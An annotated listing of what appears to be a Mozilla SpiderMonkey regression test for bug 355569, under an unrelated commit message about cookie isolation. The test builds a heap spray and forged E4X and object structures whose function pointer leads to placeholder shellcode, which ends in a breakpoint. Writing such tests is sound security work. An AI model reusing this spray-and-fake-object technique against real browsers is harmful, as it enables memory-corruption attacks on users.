Sat, 03 Jan 2015 20:18:00 +0100
Conditionally enable double key logic according to:
private browsing mode or privacy.thirdparty.isolate preference and
implement in GetCookieStringCommon and FindCookie where it counts...
With some reservations of how to convince FindCookie users to test
condition and pass a nullptr when disabling double key logic.
michael@0 | 1 | /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ |
michael@0 | 2 | |
michael@0 | 3 | /* This Source Code Form is subject to the terms of the Mozilla Public |
michael@0 | 4 | * License, v. 2.0. If a copy of the MPL was not distributed with this |
michael@0 | 5 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ |
michael@0 | 6 | |
michael@0 | 7 | var bug = 355569; |
michael@0 | 8 | var actual = ''; |
michael@0 | 9 | var expect = ''; |
michael@0 | 10 | |
michael@0 | 11 | printBugNumber (bug); |
michael@0 | 12 | printStatus (summary); |
michael@0 | 13 | |
michael@0 | 14 | var targetAddress = 0x12030010; |
michael@0 | 15 | var sprayParams = { |
michael@0 | 16 | chunkSize: 16 * 1024 * 1024, |
michael@0 | 17 | chunkCount: 16, |
michael@0 | 18 | chunkMarker: 0xdeadface, |
michael@0 | 19 | chunkAlign: 0x1000, |
michael@0 | 20 | reservedSize: 1024 |
michael@0 | 21 | }; |
michael@0 | 22 | |
michael@0 | 23 | function makeExploitCode() { |
michael@0 | 24 | /* mov eax, 0xdeadfeed; mov ebx, eax; mov ecx, eax; mov edx, eax; int3 */ |
michael@0 | 25 | return "\uEDB8\uADFE\u89DE\u89C3\u89C1\uCCC2"; |
michael@0 | 26 | } |
michael@0 | 27 | |
michael@0 | 28 | /*==========================================================================*/ |
michael@0 | 29 | /*==========================================================================*/ |
michael@0 | 30 | |
michael@0 | 31 | function packData(template, A) { |
michael@0 | 32 | var n = 0, result = "", vl; |
michael@0 | 33 | for(var i = 0; i < template.length; i++) { |
michael@0 | 34 | var ch = template.charAt(i); |
michael@0 | 35 | if(ch == "s" || ch == "S") { |
michael@0 | 36 | vl = A[n++] >>> 0; result += String.fromCharCode(vl & 0xffff); |
michael@0 | 37 | } else if(ch == "l" || ch == "L") { // XXX endian |
michael@0 | 38 | vl = A[n++] >>> 0; result += String.fromCharCode(vl & 0xffff, vl >> 16); |
michael@0 | 39 | } else if(ch == "=") { |
michael@0 | 40 | result += String(A[n++]); |
michael@0 | 41 | } |
michael@0 | 42 | } |
michael@0 | 43 | return result; |
michael@0 | 44 | } |
michael@0 | 45 | function buildStructure(worker, address) { |
michael@0 | 46 | var offs = {}, result = "", context = { |
michael@0 | 47 | append: function(k, v) { offs[k] = result.length * 2; result += v; }, |
michael@0 | 48 | address: function(k) { return address + ((k && offs[k]) || 0); } |
michael@0 | 49 | }; worker(context); result = ""; worker(context); return result; |
michael@0 | 50 | } |
michael@0 | 51 | function repeatToLength(s, L) { |
michael@0 | 52 | if(L <= s.length) { return s.substring(0, L); } |
michael@0 | 53 | while(s.length <= L/2) { s += s; } |
michael@0 | 54 | return s + s.substring(0, L - s.length); |
michael@0 | 55 | } |
michael@0 | 56 | function sprayData(data, params, rooter) { |
michael@0 | 57 | var marker = packData("L", [ params.chunkMarker ]); |
michael@0 | 58 | data += repeatToLength("\u9090", params.chunkAlign / 2 - data.length); |
michael@0 | 59 | data = repeatToLength(data, (params.chunkSize - params.reservedSize) / 2); |
michael@0 | 60 | for(var i = 0; i < params.chunkCount; i++) { |
michael@0 | 61 | rooter[i] = marker + data + i; |
michael@0 | 62 | } |
michael@0 | 63 | } |
michael@0 | 64 | |
michael@0 | 65 | function T_JSObject(map, slots) |
michael@0 | 66 | { return packData("LL", arguments); } |
michael@0 | 67 | function T_JSObjectMap(nrefs, ops, nslots, freeslot) |
michael@0 | 68 | { return packData("LLLL", arguments); } |
michael@0 | 69 | function T_JSObjectOps( |
michael@0 | 70 | newObjectMap, destroyObjectMap, lookupProperty, defineProperty, |
michael@0 | 71 | getProperty, setProperty, getAttributes, setAttributes, |
michael@0 | 72 | deleteProperty, defaultValue, enumerate, checkAccess, |
michael@0 | 73 | thisObject, dropProperty, call, construct, |
michael@0 | 74 | xdrObject, hasInstance, setProto, setParent, |
michael@0 | 75 | mark, clear, getRequiredSlot, setRequiredSlot |
michael@0 | 76 | ) { return packData("LLLLLLLL LLLLLLLL LLLLLLLL", arguments); } |
michael@0 | 77 | |
michael@0 | 78 | function T_JSXML_LIST( |
michael@0 | 79 | object, domnode, parent, name, xml_class, xml_flags, |
michael@0 | 80 | kids_length, kids_capacity, kids_vector, kids_cursors, |
michael@0 | 81 | xml_target, xml_targetprop |
michael@0 | 82 | ) { return packData("LLLLSS LLLL LL", arguments); } |
michael@0 | 83 | function T_JSXML_ELEMENT( |
michael@0 | 84 | object, domnode, parent, name, xml_class, xml_flags, |
michael@0 | 85 | kids_length, kids_capacity, kids_vector, kids_cursors, |
michael@0 | 86 | nses_length, nses_capacity, nses_vector, nses_cursors, |
michael@0 | 87 | atrs_length, atrs_capacity, atrs_vector, atrs_cursors |
michael@0 | 88 | ) { return packData("LLLLSS LLLL LLLL LLLL", arguments); } |
michael@0 | 89 | |
michael@0 | 90 | /*==========================================================================*/ |
michael@0 | 91 | /*==========================================================================*/ |
michael@0 | 92 | |
michael@0 | 93 | function makeExploitData(address) { |
michael@0 | 94 | return buildStructure(function(ctx) { |
michael@0 | 95 | ctx.append("xml-list", |
michael@0 | 96 | T_JSXML_LIST(0, 0, 0, 0, 0, 0, 1, 0, ctx.address("xml-kids-vector"), 0, 0, 0)); |
michael@0 | 97 | ctx.append("xml-kids-vector", |
michael@0 | 98 | packData("L", [ ctx.address("xml-element") ])); |
michael@0 | 99 | ctx.append("xml-element", |
michael@0 | 100 | T_JSXML_ELEMENT(ctx.address("object"), 0, 0, 0, 1, 0, 0, 0, 0, 0, /*c*/ 0, 0, 0, 0, /*d*/ 0, 0, 0, 0)); |
michael@0 | 101 | ctx.append("object", |
michael@0 | 102 | T_JSObject(ctx.address("object-map"), 0)); |
michael@0 | 103 | ctx.append("object-map", |
michael@0 | 104 | T_JSObjectMap(0, ctx.address("object-ops"), 0, 0)); |
michael@0 | 105 | ctx.append("object-ops", |
michael@0 | 106 | T_JSObjectOps(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ctx.address("exploit-code"), 0)); |
michael@0 | 107 | ctx.append("exploit-code", |
michael@0 | 108 | makeExploitCode(ctx)); |
michael@0 | 109 | }, address); |
michael@0 | 110 | } |
michael@0 | 111 | |
michael@0 | 112 | function exploit() { |
michael@0 | 113 | sprayData(makeExploitData(targetAddress), sprayParams, this.rooter = {}); |
michael@0 | 114 | var numobj = new Number(targetAddress >> 1); |
michael@0 | 115 | printStatus("probably not exploitable"); |
michael@0 | 116 | } |
michael@0 | 117 | |
michael@0 | 118 | try |
michael@0 | 119 | { |
michael@0 | 120 | exploit(); |
michael@0 | 121 | } |
michael@0 | 122 | catch(ex) |
michael@0 | 123 | { |
michael@0 | 124 | } |
michael@0 | 125 | |
michael@0 | 126 | reportCompare(expect, actual); |
michael@0 | 127 |